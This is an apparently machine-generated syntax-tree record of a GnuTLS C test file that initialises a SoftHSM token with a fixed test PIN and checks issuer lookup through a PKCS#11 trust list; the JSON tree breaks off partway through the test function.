"fail("error in gnutls_x509_trust_list_get_issuer\n");" (call_expression) "fail("error in gnutls_x509_trust_list_get_issuer\n")" (identifier) "fail" (argument_list) "("error in gnutls_x509_trust_list_get_issuer\n")" (() "(" (string_literal) ""error in gnutls_x509_trust_list_get_issuer\n"" (") """ (string_content) "error in gnutls_x509_trust_list_get_issuer" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (if_statement) "if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(issuer == NULL)" (() "(" (binary_expression) "issuer == NULL" (identifier) "issuer" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n fail("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n");" (call_expression) "fail("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n")" (identifier) "fail" (argument_list) "("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n")" (() "(" (string_literal) ""error in gnutls_x509_trust_list_get_issuer_by_dn return value\n"" (") """ (string_content) "error in gnutls_x509_trust_list_get_issuer_by_dn return value" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "gnutls_x509_crt_deinit(issuer);" (call_expression) "gnutls_x509_crt_deinit(issuer)" (identifier) "gnutls_x509_crt_deinit" (argument_list) "(issuer)" (() "(" (identifier) "issuer" ()) ")" (;) ";" (if_statement) "if (debug)\n printf("\tCleanup...");" (if) "if" (parenthesized_expression) "(debug)" (() "(" (identifier) "debug" ()) ")" (expression_statement) "printf("\tCleanup...");" (call_expression) "printf("\tCleanup...")" (identifier) "printf" (argument_list) "("\tCleanup...")" (() "(" (string_literal) ""\tCleanup..."" (") """ (escape_sequence) "\t" (string_content) "Cleanup..." (") """ ()) ")" (;) ";" (expression_statement) "gnutls_x509_trust_list_deinit(tl, 0);" (call_expression) "gnutls_x509_trust_list_deinit(tl, 0)" (identifier) "gnutls_x509_trust_list_deinit" (argument_list) "(tl, 0)" (() "(" (identifier) "tl" (,) "," (number_literal) "0" ()) ")" (;) ";" (expression_statement) "gnutls_x509_crt_deinit(ca);" (call_expression) "gnutls_x509_crt_deinit(ca)" (identifier) "gnutls_x509_crt_deinit" (argument_list) "(ca)" (() "(" (identifier) "ca" ()) ")" (;) ";" (for_statement) "for (j = 0; chains[idx].chain[j]; j++)\n gnutls_x509_crt_deinit(certs[j]);" (for) "for" (() "(" (assignment_expression) "j = 0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (subscript_expression) "chains[idx].chain[j]" (field_expression) "chains[idx].chain" (subscript_expression) "chains[idx]" (identifier) "chains" ([) "[" (identifier) "idx" (]) "]" (.) "." (field_identifier) "chain" ([) "[" (identifier) "j" (]) "]" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (expression_statement) "gnutls_x509_crt_deinit(certs[j]);" (call_expression) "gnutls_x509_crt_deinit(certs[j])" (identifier) "gnutls_x509_crt_deinit" (argument_list) "(certs[j])" (() "(" (subscript_expression) "certs[j]" (identifier) "certs" ([) "[" (identifier) "j" (]) "]" ()) ")" (;) ";" (if_statement) "if (debug)\n printf("done\n\n\n");" (if) "if" (parenthesized_expression) "(debug)" (() "(" (identifier) "debug" ()) ")" (expression_statement) "printf("done\n\n\n");" (call_expression) "printf("done\n\n\n")" (identifier) "printf" (argument_list) "("done\n\n\n")" (() "(" (string_literal) ""done\n\n\n"" (") """ (string_content) "done" (escape_sequence) "\n" (escape_sequence) "\n" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "gnutls_global_deinit();" (call_expression) "gnutls_global_deinit()" (identifier) "gnutls_global_deinit" (argument_list) "()" (() "(" ()) ")" (;) ";" (if_statement) "if (debug)\n printf("Exit status...%d\n", exit_val);" (if) "if" (parenthesized_expression) "(debug)" (() "(" (identifier) "debug" ()) ")" (expression_statement) "printf("Exit status...%d\n", exit_val);" (call_expression) "printf("Exit status...%d\n", exit_val)" (identifier) "printf" (argument_list) "("Exit status...%d\n", exit_val)" (() "(" (string_literal) ""Exit status...%d\n"" (") """ (string_content) "Exit status...%d" (escape_sequence) "\n" (") """ (,) "," (identifier) "exit_val" ()) ")" (;) ";" (expression_statement) "remove(CONFIG);" (call_expression) "remove(CONFIG)" (identifier) "remove" (argument_list) "(CONFIG)" (() "(" (identifier) "CONFIG" ()) ")" (;) ";" (expression_statement) "exit(exit_val);" (call_expression) "exit(exit_val)" (identifier) "exit" (argument_list) "(exit_val)" (() "(" (identifier) "exit_val" ()) ")" (;) ";" (}) "}"
1,996
0
{"language": "c", "success": true, "metadata": {"lines": 253, "avg_line_length": 27.17, "nodes": 1079, "errors": 0, "source_hash": "87c443af8a1af4cce97c54a40b26b242c07ea552a44919499fed3afc302ab8a1", "categorized_nodes": 795}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif", "parent": null, "children": [1, 2, 3, 6], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 24, "column": 6}}, {"id": 1, "type": "#ifdef", "text": "#ifdef", "parent": 0, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 6}}, {"id": 2, "type": "identifier", "text": "HAVE_CONFIG_H", "parent": 0, "children": [], "start_point": {"row": 22, "column": 7}, "end_point": {"row": 22, "column": 20}}, {"id": 3, "type": "preproc_include", "text": "#include <config.h>\n", "parent": 0, "children": [4, 5], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 24, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<config.h>", "parent": 3, "children": [], "start_point": {"row": 23, "column": 9}, "end_point": {"row": 23, "column": 19}}, {"id": 6, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 6}}, {"id": 7, "type": "preproc_include", "text": "#include <stdio.h>\n", "parent": null, "children": [8, 9], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 27, "column": 0}}, {"id": 8, "type": "#include", "text": "#include", "parent": 7, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 8}}, {"id": 9, "type": "system_lib_string", "text": "<stdio.h>", "parent": 7, "children": [], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 18}}, {"id": 10, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": null, "children": [11, 12], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 28, "column": 0}}, {"id": 11, "type": "#include", "text": "#include", "parent": 10, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 8}}, {"id": 12, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 10, "children": [], "start_point": {"row": 27, "column": 9}, "end_point": {"row": 27, "column": 19}}, {"id": 13, "type": "preproc_include", "text": "#include <string.h>\n", "parent": null, "children": [14, 15], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 29, "column": 0}}, {"id": 14, "type": "#include", "text": "#include", "parent": 13, "children": [], "start_point": {"row": 28, "column": 0}, "end_point": {"row": 28, "column": 8}}, {"id": 15, "type": "system_lib_string", "text": "<string.h>", "parent": 13, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 19}}, {"id": 16, "type": "preproc_include", "text": "#include <unistd.h>\n", "parent": null, "children": [17, 18], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 30, "column": 0}}, {"id": 17, "type": "#include", "text": "#include", "parent": 16, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 8}}, {"id": 18, "type": "system_lib_string", "text": "<unistd.h>", "parent": 16, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 19}}, {"id": 19, "type": "preproc_include", "text": "#include <gnutls/gnutls.h>\n", "parent": null, "children": [20, 21], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 20, "type": "#include", "text": "#include", "parent": 19, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 8}}, {"id": 21, "type": "system_lib_string", "text": "<gnutls/gnutls.h>", "parent": 19, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 26}}, {"id": 22, "type": "preproc_include", "text": "#include <gnutls/x509.h>\n", "parent": null, "children": [23, 24], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 23, "type": "#include", "text": "#include", "parent": 22, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 8}}, {"id": 24, "type": "system_lib_string", "text": "<gnutls/x509.h>", "parent": 22, "children": [], "start_point": {"row": 32, "column": 9}, "end_point": {"row": 32, "column": 24}}, {"id": 25, "type": "preproc_include", "text": "#include <gnutls/x509-ext.h>\n", "parent": null, "children": [26, 27], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 34, "column": 0}}, {"id": 26, "type": "#include", "text": "#include", "parent": 25, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 8}}, {"id": 27, "type": "system_lib_string", "text": "<gnutls/x509-ext.h>", "parent": 25, "children": [], "start_point": {"row": 33, "column": 9}, "end_point": {"row": 33, "column": 28}}, {"id": 28, "type": "preproc_include", "text": "#include \"../utils.h\"\n", "parent": null, "children": [29, 30], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 36, "column": 0}}, {"id": 29, "type": "#include", "text": "#include", "parent": 28, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 8}}, {"id": 30, "type": "string_literal", "text": "\"../utils.h\"", "parent": 28, "children": [], "start_point": {"row": 35, "column": 9}, "end_point": {"row": 35, "column": 21}}, {"id": 31, "type": "preproc_include", "text": "#include \"../test-chains.h\"\n", "parent": null, "children": [32, 33], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 37, "column": 0}}, {"id": 32, "type": "#include", "text": "#include", "parent": 31, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 8}}, {"id": 33, "type": "string_literal", "text": "\"../test-chains.h\"", "parent": 31, "children": [], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 27}}, {"id": 34, "type": "preproc_include", "text": "#include \"softhsm.h\"\n", "parent": null, "children": [35, 36], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 38, "column": 0}}, {"id": 35, "type": "#include", "text": "#include", "parent": 34, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 8}}, {"id": 36, "type": "string_literal", "text": "\"softhsm.h\"", "parent": 34, "children": [], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 20}}, {"id": 37, "type": "preproc_def", "text": "#define CONFIG \"softhsm-issuer.config\"\n", "parent": null, "children": [38, 39, 40], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 40, "column": 0}}, {"id": 38, "type": "#define", "text": "#define", "parent": 37, "children": [], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 7}}, {"id": 39, "type": "identifier", "text": "CONFIG", "parent": 37, "children": [], "start_point": {"row": 39, "column": 8}, "end_point": {"row": 39, "column": 14}}, {"id": 40, "type": "preproc_arg", "text": "\"softhsm-issuer.config\"", "parent": 37, "children": [], "start_point": {"row": 39, "column": 15}, "end_point": {"row": 39, "column": 38}}, {"id": 41, "type": "function_definition", "text": "static time_t mytime(time_t * t)\n{\n\ttime_t then = 1256803113;\n\n\tif (t)\n\t\t*t = then;\n\n\treturn then;\n}", "parent": null, "children": [42, 43], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 53, "column": 1}}, {"id": 42, "type": "type_identifier", "text": "time_t", "parent": 41, "children": [], "start_point": {"row": 45, "column": 7}, "end_point": {"row": 45, "column": 13}}, {"id": 43, "type": "function_declarator", "text": "mytime(time_t * t)", "parent": 41, "children": [44, 45], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 32}}, {"id": 44, "type": "identifier", "text": "mytime", "parent": 43, "children": [], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 20}}, {"id": 45, "type": "parameter_list", "text": "(time_t * t)", "parent": 43, "children": [46], "start_point": {"row": 45, "column": 20}, "end_point": {"row": 45, "column": 32}}, {"id": 46, "type": "parameter_declaration", "text": "time_t * t", "parent": 45, "children": [47, 48], "start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 31}}, {"id": 47, "type": "type_identifier", "text": "time_t", "parent": 46, "children": [], "start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 27}}, {"id": 48, "type": "pointer_declarator", "text": "* t", "parent": 46, "children": [49, 50], "start_point": {"row": 45, "column": 28}, "end_point": {"row": 45, "column": 31}}, {"id": 49, "type": "*", "text": "*", "parent": 48, "children": [], "start_point": {"row": 45, "column": 28}, "end_point": {"row": 45, "column": 29}}, {"id": 50, "type": "identifier", "text": "t", "parent": 48, "children": [], "start_point": {"row": 45, "column": 30}, "end_point": {"row": 45, "column": 31}}, {"id": 51, "type": "declaration", "text": "time_t then = 1256803113;", "parent": 41, "children": [52, 53], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 26}}, {"id": 52, "type": "type_identifier", "text": "time_t", "parent": 51, "children": [], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 7}}, {"id": 53, "type": "init_declarator", "text": "then = 1256803113", "parent": 51, "children": [54, 55], "start_point": {"row": 47, "column": 8}, "end_point": {"row": 47, "column": 25}}, {"id": 54, "type": "=", "text": "=", "parent": 53, "children": [], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 14}}, {"id": 55, "type": "number_literal", "text": "1256803113", "parent": 53, "children": [], "start_point": {"row": 47, "column": 15}, "end_point": {"row": 47, "column": 25}}, {"id": 56, "type": "if_statement", "text": "if (t)\n\t\t*t = then;", "parent": 41, "children": [57], "start_point": {"row": 49, "column": 1}, "end_point": {"row": 50, "column": 12}}, {"id": 57, "type": "parenthesized_expression", "text": "(t)", "parent": 56, "children": [58], "start_point": {"row": 49, "column": 4}, "end_point": {"row": 49, "column": 7}}, {"id": 58, "type": "identifier", "text": "t", "parent": 57, "children": [], "start_point": {"row": 49, "column": 5}, "end_point": {"row": 49, "column": 6}}, {"id": 59, "type": "assignment_expression", "text": "*t = then", "parent": 56, "children": [60, 63], "start_point": {"row": 50, "column": 2}, "end_point": {"row": 50, "column": 11}}, {"id": 60, "type": "pointer_expression", "text": "*t", "parent": 59, "children": [61, 62], "start_point": {"row": 50, "column": 2}, "end_point": {"row": 50, "column": 4}}, {"id": 61, "type": "*", "text": "*", "parent": 60, "children": [], "start_point": {"row": 50, "column": 2}, "end_point": {"row": 50, "column": 3}}, {"id": 62, "type": "identifier", "text": "t", "parent": 60, "children": [], "start_point": {"row": 50, "column": 3}, "end_point": {"row": 50, "column": 4}}, {"id": 63, "type": "=", "text": "=", "parent": 59, "children": [], "start_point": {"row": 50, "column": 5}, "end_point": {"row": 50, "column": 6}}, {"id": 64, "type": "return_statement", "text": "return then;", "parent": 41, "children": [], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 13}}, {"id": 65, "type": "preproc_def", "text": "#define PIN \"1234\"\n", "parent": null, "children": [66, 67, 68], "start_point": {"row": 55, "column": 0}, "end_point": {"row": 56, "column": 0}}, {"id": 66, "type": "#define", "text": "#define", "parent": 65, "children": [], "start_point": {"row": 55, "column": 0}, "end_point": {"row": 55, "column": 7}}, {"id": 67, "type": "identifier", "text": "PIN", "parent": 65, "children": [], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 11}}, {"id": 68, "type": "preproc_arg", "text": "\"1234\"", "parent": 65, "children": [], "start_point": {"row": 55, "column": 12}, "end_point": {"row": 55, "column": 18}}, {"id": 69, "type": "function_definition", "text": "static void tls_log_func(int level, const char *str)\n{\n\tfprintf(stderr, \"|<%d>| %s\", level, str);\n}", "parent": null, "children": [70, 71], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 60, "column": 1}}, {"id": 70, "type": "primitive_type", "text": "void", "parent": 69, "children": [], "start_point": {"row": 57, "column": 7}, "end_point": {"row": 57, "column": 11}}, {"id": 71, "type": "function_declarator", "text": "tls_log_func(int level, const char *str)", "parent": 69, "children": [72, 73], "start_point": {"row": 57, "column": 12}, "end_point": {"row": 57, "column": 52}}, {"id": 72, "type": "identifier", "text": "tls_log_func", "parent": 71, "children": [], "start_point": {"row": 57, "column": 12}, "end_point": {"row": 57, "column": 24}}, {"id": 73, "type": "parameter_list", "text": "(int level, const char *str)", "parent": 71, "children": [74, 77], "start_point": {"row": 57, "column": 24}, "end_point": {"row": 57, "column": 52}}, {"id": 74, "type": "parameter_declaration", "text": "int level", "parent": 73, "children": [75, 76], "start_point": {"row": 57, "column": 25}, "end_point": {"row": 57, "column": 34}}, {"id": 75, "type": "primitive_type", "text": "int", "parent": 74, "children": [], "start_point": {"row": 57, "column": 25}, "end_point": {"row": 57, "column": 28}}, {"id": 76, "type": "identifier", "text": "level", "parent": 74, "children": [], "start_point": {"row": 57, "column": 29}, "end_point": {"row": 57, "column": 34}}, {"id": 77, "type": "parameter_declaration", "text": "const char *str", "parent": 73, "children": [78, 79], "start_point": {"row": 57, "column": 36}, "end_point": {"row": 57, "column": 51}}, {"id": 78, "type": "primitive_type", "text": "char", "parent": 77, "children": [], "start_point": {"row": 57, "column": 42}, "end_point": {"row": 57, "column": 46}}, {"id": 79, "type": "pointer_declarator", "text": "*str", "parent": 77, "children": [80, 81], "start_point": {"row": 57, "column": 47}, "end_point": {"row": 57, "column": 51}}, {"id": 80, "type": "*", "text": "*", "parent": 79, "children": [], "start_point": {"row": 57, "column": 47}, "end_point": {"row": 57, "column": 48}}, {"id": 81, "type": "identifier", "text": "str", "parent": 79, "children": [], "start_point": {"row": 57, "column": 48}, "end_point": {"row": 57, "column": 51}}, {"id": 82, "type": "call_expression", "text": "fprintf(stderr, \"|<%d>| %s\", level, str)", "parent": 69, "children": [83, 84], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 41}}, {"id": 83, "type": "identifier", "text": "fprintf", "parent": 82, "children": [], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 8}}, {"id": 84, "type": "argument_list", "text": "(stderr, \"|<%d>| %s\", level, str)", "parent": 82, "children": [85, 86, 87, 88], "start_point": {"row": 59, "column": 8}, "end_point": {"row": 59, "column": 41}}, {"id": 85, "type": "identifier", "text": "stderr", "parent": 84, "children": [], "start_point": {"row": 59, "column": 9}, "end_point": {"row": 59, "column": 15}}, {"id": 86, "type": "string_literal", "text": "\"|<%d>| %s\"", "parent": 84, "children": [], "start_point": {"row": 59, "column": 17}, "end_point": {"row": 59, "column": 28}}, {"id": 87, "type": "identifier", "text": "level", "parent": 84, "children": [], "start_point": {"row": 59, "column": 30}, "end_point": {"row": 59, "column": 35}}, {"id": 88, "type": "identifier", "text": "str", "parent": 84, "children": [], "start_point": {"row": 59, "column": 37}, "end_point": {"row": 59, "column": 40}}, {"id": 89, "type": "function_definition", "text": "static\nint pin_func(void* userdata, int attempt, const char* url, const char *label,\n\t\tunsigned flags, char *pin, size_t pin_max)\n{\n\tif (attempt == 0) {\n\t\tstrcpy(pin, PIN);\n\t\treturn 0;\n\t}\n\treturn -1;\n}", "parent": null, "children": [90, 91], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 71, "column": 1}}, {"id": 90, "type": "primitive_type", "text": "int", "parent": 89, "children": [], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 3}}, {"id": 91, "type": "function_declarator", "text": "pin_func(void* userdata, int attempt, const char* url, const char *label,\n\t\tunsigned flags, char *pin, size_t pin_max)", "parent": 89, "children": [92, 93], "start_point": {"row": 63, "column": 4}, "end_point": {"row": 64, "column": 44}}, {"id": 92, "type": "identifier", "text": "pin_func", "parent": 91, "children": [], "start_point": {"row": 63, "column": 4}, "end_point": {"row": 63, "column": 12}}, {"id": 93, "type": "parameter_list", "text": "(void* userdata, int attempt, const char* url, const char *label,\n\t\tunsigned flags, char *pin, size_t pin_max)", "parent": 91, "children": [94, 99, 102, 107, 112, 116, 121], "start_point": {"row": 63, "column": 12}, "end_point": {"row": 64, "column": 44}}, {"id": 94, "type": "parameter_declaration", "text": "void* userdata", "parent": 93, "children": [95, 96], "start_point": {"row": 63, "column": 13}, "end_point": {"row": 63, "column": 27}}, {"id": 95, "type": "primitive_type", "text": "void", "parent": 94, "children": [], "start_point": {"row": 63, "column": 13}, "end_point": {"row": 63, "column": 17}}, {"id": 96, "type": "pointer_declarator", "text": "* userdata", "parent": 94, "children": [97, 98], "start_point": {"row": 63, "column": 17}, "end_point": {"row": 63, "column": 27}}, {"id": 97, "type": "*", "text": "*", "parent": 96, "children": [], "start_point": {"row": 63, "column": 17}, "end_point": {"row": 63, "column": 18}}, {"id": 98, "type": "identifier", "text": "userdata", "parent": 96, "children": [], "start_point": {"row": 63, "column": 19}, "end_point": {"row": 63, "column": 27}}, {"id": 99, "type": "parameter_declaration", "text": "int attempt", "parent": 93, "children": [100, 101], "start_point": {"row": 63, "column": 29}, "end_point": {"row": 63, "column": 40}}, {"id": 100, "type": "primitive_type", "text": "int", "parent": 99, "children": [], "start_point": {"row": 63, "column": 29}, "end_point": {"row": 63, "column": 32}}, {"id": 101, "type": "identifier", "text": "attempt", "parent": 99, "children": [], "start_point": {"row": 63, "column": 33}, "end_point": {"row": 63, "column": 40}}, {"id": 102, "type": "parameter_declaration", "text": "const char* url", "parent": 93, "children": [103, 104], "start_point": {"row": 63, "column": 42}, "end_point": {"row": 63, "column": 57}}, {"id": 103, "type": "primitive_type", "text": "char", "parent": 102, "children": [], "start_point": {"row": 63, "column": 48}, "end_point": {"row": 63, "column": 52}}, {"id": 104, "type": "pointer_declarator", "text": "* url", "parent": 102, "children": [105, 106], "start_point": {"row": 63, "column": 52}, "end_point": {"row": 63, "column": 57}}, {"id": 105, "type": "*", "text": "*", "parent": 104, "children": [], "start_point": {"row": 63, "column": 52}, "end_point": {"row": 63, "column": 53}}, {"id": 106, "type": "identifier", "text": "url", "parent": 104, "children": [], "start_point": {"row": 63, "column": 54}, "end_point": {"row": 63, "column": 57}}, {"id": 107, "type": "parameter_declaration", "text": "const char *label", "parent": 93, "children": [108, 109], "start_point": {"row": 63, "column": 59}, "end_point": {"row": 63, "column": 76}}, {"id": 108, "type": "primitive_type", "text": "char", "parent": 107, "children": [], "start_point": {"row": 63, "column": 65}, "end_point": {"row": 63, "column": 69}}, {"id": 109, "type": "pointer_declarator", "text": "*label", "parent": 107, "children": [110, 111], "start_point": {"row": 63, "column": 70}, "end_point": {"row": 63, "column": 76}}, {"id": 110, "type": "*", "text": "*", "parent": 109, "children": [], "start_point": {"row": 63, "column": 70}, "end_point": {"row": 63, "column": 71}}, {"id": 111, "type": "identifier", "text": "label", "parent": 109, "children": [], "start_point": {"row": 63, "column": 71}, "end_point": {"row": 63, "column": 76}}, {"id": 112, "type": "parameter_declaration", "text": "unsigned flags", "parent": 93, "children": [113, 115], "start_point": {"row": 64, "column": 2}, "end_point": {"row": 64, "column": 16}}, {"id": 113, "type": "sized_type_specifier", "text": "unsigned", "parent": 112, "children": [114], "start_point": {"row": 64, "column": 2}, "end_point": {"row": 64, "column": 10}}, {"id": 114, "type": "unsigned", "text": "unsigned", "parent": 113, "children": [], "start_point": {"row": 64, "column": 2}, "end_point": {"row": 64, "column": 10}}, {"id": 115, "type": "identifier", "text": "flags", "parent": 112, "children": [], "start_point": {"row": 64, "column": 11}, "end_point": {"row": 64, "column": 16}}, {"id": 116, "type": "parameter_declaration", "text": "char *pin", "parent": 93, "children": [117, 118], "start_point": {"row": 64, "column": 18}, "end_point": {"row": 64, "column": 27}}, {"id": 117, "type": "primitive_type", "text": "char", "parent": 116, "children": [], "start_point": {"row": 64, "column": 18}, "end_point": {"row": 64, "column": 22}}, {"id": 118, "type": "pointer_declarator", "text": "*pin", "parent": 116, "children": [119, 120], "start_point": {"row": 64, "column": 23}, "end_point": {"row": 64, "column": 27}}, {"id": 119, "type": "*", "text": "*", "parent": 118, "children": [], "start_point": {"row": 64, "column": 23}, "end_point": {"row": 64, "column": 24}}, {"id": 120, "type": "identifier", "text": "pin", "parent": 118, "children": [], "start_point": {"row": 64, "column": 24}, "end_point": {"row": 64, "column": 27}}, {"id": 121, "type": "parameter_declaration", "text": "size_t pin_max", "parent": 93, "children": [122, 123], "start_point": {"row": 64, "column": 29}, "end_point": {"row": 64, "column": 43}}, {"id": 122, "type": "primitive_type", "text": "size_t", "parent": 121, "children": [], "start_point": {"row": 64, "column": 29}, "end_point": {"row": 64, "column": 35}}, {"id": 123, "type": "identifier", "text": "pin_max", "parent": 121, "children": [], "start_point": {"row": 64, "column": 36}, "end_point": {"row": 64, "column": 43}}, {"id": 124, "type": "if_statement", "text": "if (attempt == 0) {\n\t\tstrcpy(pin, PIN);\n\t\treturn 0;\n\t}", "parent": 89, "children": [125], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 69, "column": 2}}, {"id": 125, "type": "parenthesized_expression", "text": "(attempt == 0)", "parent": 124, "children": [126], "start_point": {"row": 66, "column": 4}, "end_point": {"row": 66, "column": 18}}, {"id": 126, "type": "binary_expression", "text": "attempt == 0", "parent": 125, "children": [127, 128, 129], "start_point": {"row": 66, "column": 5}, "end_point": {"row": 66, "column": 17}}, {"id": 127, "type": "identifier", "text": "attempt", "parent": 126, "children": [], "start_point": {"row": 66, "column": 5}, "end_point": {"row": 66, "column": 12}}, {"id": 128, "type": "==", "text": "==", "parent": 126, "children": [], "start_point": {"row": 66, "column": 13}, "end_point": {"row": 66, "column": 15}}, {"id": 129, "type": "number_literal", "text": "0", "parent": 126, "children": [], "start_point": {"row": 66, "column": 16}, "end_point": {"row": 66, "column": 17}}, {"id": 130, "type": "call_expression", "text": "strcpy(pin, PIN)", "parent": 124, "children": [131, 132], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 18}}, {"id": 131, "type": "identifier", "text": "strcpy", "parent": 130, "children": [], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 8}}, {"id": 132, "type": "argument_list", "text": "(pin, PIN)", "parent": 130, "children": [133, 134], "start_point": {"row": 67, "column": 8}, "end_point": {"row": 67, "column": 18}}, {"id": 133, "type": "identifier", "text": "pin", "parent": 132, "children": [], "start_point": {"row": 67, "column": 9}, "end_point": {"row": 67, "column": 12}}, {"id": 134, "type": "identifier", "text": "PIN", "parent": 132, "children": [], "start_point": {"row": 67, "column": 14}, "end_point": {"row": 67, "column": 17}}, {"id": 135, "type": "return_statement", "text": "return 0;", "parent": 124, "children": [136], "start_point": {"row": 68, "column": 2}, "end_point": {"row": 68, "column": 11}}, {"id": 136, "type": "number_literal", "text": "0", "parent": 135, "children": [], "start_point": {"row": 68, "column": 9}, "end_point": {"row": 68, "column": 10}}, {"id": 137, "type": "return_statement", "text": "return -1;", "parent": 89, "children": [138], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 70, "column": 11}}, {"id": 138, "type": "number_literal", "text": "-1", "parent": 137, "children": [], "start_point": {"row": 70, "column": 8}, "end_point": {"row": 70, "column": 10}}, {"id": 139, "type": "function_definition", "text": "void doit(void)\n{\n\tchar buf[128];\n\tint exit_val = 0;\n\tint ret;\n\tunsigned j;\n\tconst char *lib, *bin;\n\tgnutls_x509_crt_t issuer = NULL;\n\tgnutls_x509_trust_list_t tl;\n\tgnutls_x509_crt_t certs[MAX_CHAIN];\n\tgnutls_x509_crt_t ca;\n\tgnutls_datum_t tmp;\n\tint idx = -1;\n\n\t/* The overloading of time() seems to work in linux (ELF?)\n\t * systems only. Disable it on windows.\n\t */\n#ifdef _WIN32\n\texit(77);\n#endif\n\tfor (j=0;;j++) {\n\t\tif (chains[j].name == NULL)\n\t\t\tbreak;\n\t\tif (strcmp(chains[j].name, \"verisign.com v1 ok\") == 0) {\n\t\t\tidx = j;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (idx == -1) {\n\t\tfail(\"could not find proper chain\\n\");\n\t\texit(1);\n\t}\n\n\tbin = softhsm_bin();\n\n\tlib = softhsm_lib();\n\n\tret = global_init();\n\tif (ret != 0) {\n\t\tfail(\"%d: %s\\n\", ret, gnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\tgnutls_pkcs11_set_pin_function(pin_func, NULL);\n\tgnutls_global_set_time_function(mytime);\n\tgnutls_global_set_log_function(tls_log_func);\n\tif (debug)\n\t\tgnutls_global_set_log_level(4711);\n\n\t/* write softhsm.config */\n\n\tset_softhsm_conf(CONFIG);\n\tsnprintf(buf, sizeof(buf), \"%s --init-token --slot 0 --label test --so-pin \"PIN\" --pin \"PIN, bin);\n\tsystem(buf);\n\n\tret = gnutls_pkcs11_add_provider(lib, \"trusted\");\n\tif (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\tfor (j = 0; chains[idx].chain[j]; j++) {\n\t\tif (debug > 